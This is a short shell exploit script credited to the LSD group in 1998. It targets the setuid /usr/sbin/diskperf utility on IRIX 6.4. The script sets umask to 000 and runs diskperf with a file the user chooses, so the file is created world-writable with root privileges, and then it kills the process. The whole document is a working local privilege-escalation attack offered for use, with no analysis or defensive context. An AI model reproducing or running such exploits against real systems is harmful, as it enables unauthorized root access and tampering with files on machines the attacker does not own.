#!/bin/sh
## copyright LAST STAGE OF DELIRIUM may 1998 poland            *://lsd-pl.net/ #
## /usr/sbin/diskperf                                                          #

#  creates files and set rw-rw-rw permissions                                  #

echo "copyright LAST STAGE OF DELIRIUM may 1998 poland  //lsd-pl.net/"
echo "/usr/sbin/diskperf for irix 6.4 IP:all\n"

EXECUTABLE=/usr/sbin/diskperf

if [ $# != 1 ]
    then
    echo "usage: "$0" file"
    exit 1
fi
FILE=$1

umask 000
$EXECUTABLE -t 1 -c 1k -r1k -m1k -W $FILE > /dev/null &
sleep 5
killall -9 diskperf 

